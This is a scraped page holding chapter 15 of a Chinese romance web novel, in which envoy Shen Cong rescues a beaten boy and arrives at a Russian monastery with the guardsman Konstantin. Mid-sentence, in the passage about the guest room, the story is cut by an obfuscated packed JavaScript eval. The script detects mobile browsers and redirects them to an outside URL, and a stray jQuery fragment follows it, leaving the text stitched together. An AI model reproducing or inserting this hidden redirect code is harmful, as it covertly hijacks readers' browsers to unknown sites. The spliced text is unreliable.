默认冷灰
24号文字
方正启体

15.第十五章

作者:美岱本书字数:K更新时间:
    马车在距离教堂还有两俄里的时候,沈淙刚还沉浸在这片静谧的祥和中呢,就被一阵喧闹惊扰,他讶异地推开了车门。


    “出什么事儿了?”他问前面的车夫。


    车夫眯起眼睛看了一眼,说:“在打狗呢!”


    俄国有这样的传统,城里的刑吏要是没有棒打犯人的任务时,就会领到打狗的活儿。于是这些耀武扬威的刑吏就拎着棍棒全城地打狗。这些可怜的动物在大冬天动了一宿根本躲不过棍棒,只能在棍棒下凄厉地抽搐、嚎叫着。


    但这是公家派出来的任务,也没人去管,老百姓们虽有爱狗之人,也不至于和公家对抗。谁也不想棍子挨在自己身上。


    可沈淙却怎么觉得,自己听到的不仅是狗的嚎叫,还有人的叫声呢?


    这时,车队停了下来,沈淙听到了尼古拉张狂的笑声。


    “见鬼!你打就打,拦路干什么?!”尼古拉一边笑,一边斥责拦路的人。


    “大人,是这小子!他是个傻子!”


    “你把他也当狗了?打死了人,把你流放到西伯利亚去!”


    沈淙心觉不对,就对王纯说:“我下车看一看。”


    沈淙从马车上下来,就朝车队前方走去。他看到前方围了几个看热闹的老百姓,康斯坦丁面无表情地在马上,兴致乏乏地望着一边。而尼古拉却是很带劲儿,在棍棒划过空气所带下的啸音中,他兴奋得脸上肌肉直抽。


    “老天爷!”沈淙看清了状况,当即加快速度跑了过去!


    “你们这是在做什么?为什么要打人?!”


    只见两个凶神恶煞的刑吏举着手腕粗的棍棒朝一个衣着单薄、身材瘦削,看模样似乎是个穷苦人家的孩子一棍一棍地挥舞着,那孩子怀里抱着一只瑟瑟发抖的小黄狗。


    棍棒每打一下,那孩子就喊叫一声,怀里的狗也像哭了似地呜咽一下。


    沈淙看不下去了,那孩子背上都是血,天知道这些人怎么这么残忍连着人一起打。沈淙不由分说地就拉开两名刑吏,挡在了那孩子的面前。


    “我不准你们再打人!”沈淙张开双臂,拦在了刑吏面前。


    这两个刑吏还没见过东方人,愣了一下,面面相觑。


    马上的康斯坦丁见到沈淙的动作,挑了挑眉。


    “你是谁?我们领到的是省长的命令!城里到处都是狗!我们要清洁城市!”


    “你们打的是狗吗?”沈淙气愤地说,一边说,他还脱下自己的披风,盖在了蜷缩在地的少年身上。


    “这个傻子不让打,他阻拦公家的任务!”


    “既然都说他是傻子了,用棍棒就能叫他听话了吗?!”


    “见鬼,你是谁?!凭什么来教训我们!”


    “你管他是谁,你们的狗眼看不出这是哪里的马车吗?”马上的康斯坦丁冷冷地来了一句。


    两位刑吏瞅了一眼他,看清他披风上的近卫军军官的肩章,又看眼前这东方人的穿着不俗。其中一位还朝后面的马车再看了几眼,发现时圣彼得堡的马车,依稀可见皇家的标志。


    他怪叫一声,连忙跪地,砰砰地磕起了头。一边磕头,一边拉扯还想跟沈淙争论几句的同伴,“不要命啦?!彼得堡来的人!”


    两人磕头之际,沈淙转身扶起了少年。少年后背受伤,在披风下瑟瑟发抖,他抬头看了一眼沈淙,露出那种智力缺陷的人独有的笑容,好像根本感受不到疼一样,他抱着狗,一人一狗两双水灵灵的天真大眼睛直勾勾地盯着沈淙。


    沈淙动了恻隐之心,掏出手帕擦了擦少年的脸:“不疼,不疼啊,我带你回去治伤。”


    说完,沈淙转身看向康斯坦丁,恳求道:“他连一件皮袄子都没有,我们带他去修道院吧,至少今晚……”


    “随你。”没等沈淙说完康斯坦丁就点了头,然后骑马踱步到两位刑吏面前。


    “还不快滚?”


    两位刑吏吓得屁滚尿流地跑了,康斯坦丁就率领车队继续前行。在看到沈淙把那少年带上马车后,他心里怎么都不是个滋味。


    他妈的,还没给我擦过脸呢!


    他当然不知道他在冻得个半死的时候沈淙不仅给他擦脸,还在他下流的动作下险些失身于他。这个笨蛋什么都记不得,他嫉妒得要命。


    村庄中心,雪在修道院尖顶上结晶成时间的刻度。


    阿列克谢·帕伊西神父立在铸铁门拱下,黑呢法衣被风灌满时,犹如钟楼投下的楔形阴影。他年轻的颧骨泛着冻伤后的玫瑰色,刚满三十岁的面庞光洁如圣餐盘。


    雪花坠入银腰带,他站在修道院那蜂蜜色砖墙外许久,从下午开始他便一直静默地等待客人的到来。在他三十多年的人生中除却去过一次威尼斯和一次圣彼得堡,他从未离开过斯摩棱斯克省的辖区。听说两位东方客人远道而来,他心里盛满了带有祝福的期待。


    在晚祷的钟声响起之前,他终于看到道路的灰色中现出一道高大身影,接着,这身影带着车队来到了他的面前。


    康斯坦丁从马上跃下,朝帕西伊神父深深鞠了一躬。


    帕伊西神父走向他,将手掌按在他的肩上,低声祝祷了一番。


    康斯坦丁在胸前划了个十字,就见沈淙扶着王纯过来了。


    半个月的艰难跋涉,两人一下车,看到这平平无奇的修道院,不自觉地脸上露出低落。尤其是王纯,他看着这黑漆漆的石砖,心道,就这?


    好在两人都是极有修养的人,沈淙连忙致意,同时讶异于神父的年轻。在听闻沈淙会说俄语后,帕伊西神父露出开心的笑容。


    “上帝祝福您,我远道而来的客人。”


    “上帝祝福您。”沈淙学着宗教话语回答,同时心里还记挂着那位少年,于是向神父讲明了缘由,便见神父脸色阵青阵白。


    “少年?傻子?”神父问。


    “的确是智力有缺陷。”沈淙转身朝马车走去。


    只是那少年被沈淙楼在怀里带了过来后,看了一眼神父,便咿咿呀呀地大叫起来。


    神父也脸现惊讶:“谁把你打成这个模样的?谁?”


    “城里的刑吏,打狗呢!”一边的康斯坦丁说,“我们东方的客人好心,不忍心这少年被打,怎么,神父您认识他吗?”


    帕伊西神父颤抖地走向微笑的少年,几乎痛心疾首地伸出手,却在快要触碰到少年的脸庞时停下了。


    少年怀里抱着狗,仍旧是懵懂地盯着神父。


    神父深吸一口气,转身对几位小修士说:“带他进去,给他治疗吧。”


    几位小修士张了嘴就想说什么,却见有外人在,便不情不愿地收了声,领着少年进了修道院。


    康斯坦丁和沈淙下意识地相视一眼,但很快,两人又匆匆挪开了目光。


    康斯坦丁红了脸,转身和尼古拉去牵马了。沈淙便领着王纯跟神父一起进了修道院,神父说马上就到了晚祷时间,主教堂内都是祷告的百姓和修士,不方便参观,还请沈淙和王纯和几位近卫军阁下暂时在修道院里的贵宾室休憩一晚,喝点热汤,吃点薄饼,香喷喷地睡上一晚后,翌日再参观。


    Архондарик ——阿尔洪达里克,这是希腊正教修道院中的术语,指专门接待贵宾的客房,通常


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15221242|164907||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    用于接待高级教士、贵族或重要客人,而普通朝圣者会住在“странноприимница”,也就是朝圣者之家。为了迎接沈淙等人的到来,帕伊西神父做足了准备。


    骑兵们在村里找了住处,就康斯坦丁和尼古拉跟沈淙几人住到了贵宾室,康斯坦丁自己无所谓,但他跟帕伊西神父好说歹说让沈淙住了个单间,没像往常在驿站里面一样跟王纯住在一起。


    一年轻人跟老头子住一起干什么?康斯坦丁宁愿沈淙的那个侍从住进去,但他转念一想,那侍从也太年轻了,并且长得还不错。


    不行,沈淙必须得一个人住。


    “反正大冬天的也没人会来朝圣。”他这样跟帕伊西神父说,帕伊西神父似乎有些心神不宁,便说随客人的便。


    沈淙倒是无所谓,他一直在收拾行李和画具,这些事情都是康斯坦丁在安排,但当他得知自己和王纯的房间中隔了个康斯坦丁之后,他就觉得有点不对劲儿了。


    “王大人年纪大了,夜里怕是出什么事,我也好去帮衬。”他跟康斯坦丁说,“我能和你换个房间吗?”


    “不行。”康斯坦丁毫不犹豫地拒绝。


    “为什么?”沈淙费解。


    “我喜欢那个房间。”康斯坦丁说。


    沈淙懒得跟他计较,叮嘱好侍从晚上多注意王纯的身体后就回房了。


    修道院的居所年代久远,散发没药和蜜蜡的香味,床是亚麻的,浆过很多次,硬邦邦的。沈淙拿了床长绒毯铺上,还没在床上坐热乎呢,就听房门敲了两下,康斯坦丁就侧着身子走了进来。


    “怎么了?”他问。


    康斯坦丁也不说话,扭捏地看了他一眼,沉默了一会,他说:“出来。”


    “嗯?”


    “出来一下。”


    “好,我穿个衣裳。”


    虽犹疑,但沈淙还是穿了披上了披风,跟着康斯坦丁走了出去。


    “有什么事吗?”从住处出来,沈淙惊诧地发现原本灰蒙蒙的天色泛起了暖光。


    “那个少年治到一半,跑了。”


    “跑了?”


    “嗯,就刚刚,帕伊西神父追了一路,没追上。”


    沈淙担忧地说:“那他的伤怎么办?他连一件袄子都没有!”


    康斯坦丁领着沈淙打修道院的侧门出去,指着一条道路说:“他就是打这里跑的,你如果想去找他,我一会儿去。”


    “真的?”沈淙难以置信地看向康斯坦丁,心想这人心肠怎么这么好了。


    康斯坦丁将目光挪移到沈淙在夕阳下淡粉色的面庞上,他心想自己定是疯了,在知道这是个男人的情况下,心跳还这样不受控制。


    好似要为他那道心火添上一把柴似的,两人正站在树下呢,沈淙头顶上的某根树枝像得到了征召似的,不堪雪的重负,砰地一声从中折断。


    “小心!”康斯坦丁下意识地将沈淙拉进怀里,树干啪的一声落在沈淙身边。


    沈淙和他贴了个满怀,额头撞在康斯坦丁的颈窝里。


    刹那间,残阳像打翻的铜壶,将最后的热红酒色泼向雪原。车辙泥浆化为熔岩,教堂金顶燃烧成火炬,连马匹呼出的白雾都染上血丝般的淡红。


    但这一抹霞光只持续了三次心跳,第一声为了距离,第二声为了爱情,第三声为了命运。


    此后,蓝灰色的冬夜便用天鹅绒斗篷罩住大地,唯余雕花铁门门上那盏牛油灯,在雪地上投下不断破碎重组的橙色光斑,一张一合,像撒进贝加尔湖的渔网,拢住了两颗心。


    沈淙抬头,看向抱住他的康斯坦丁。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)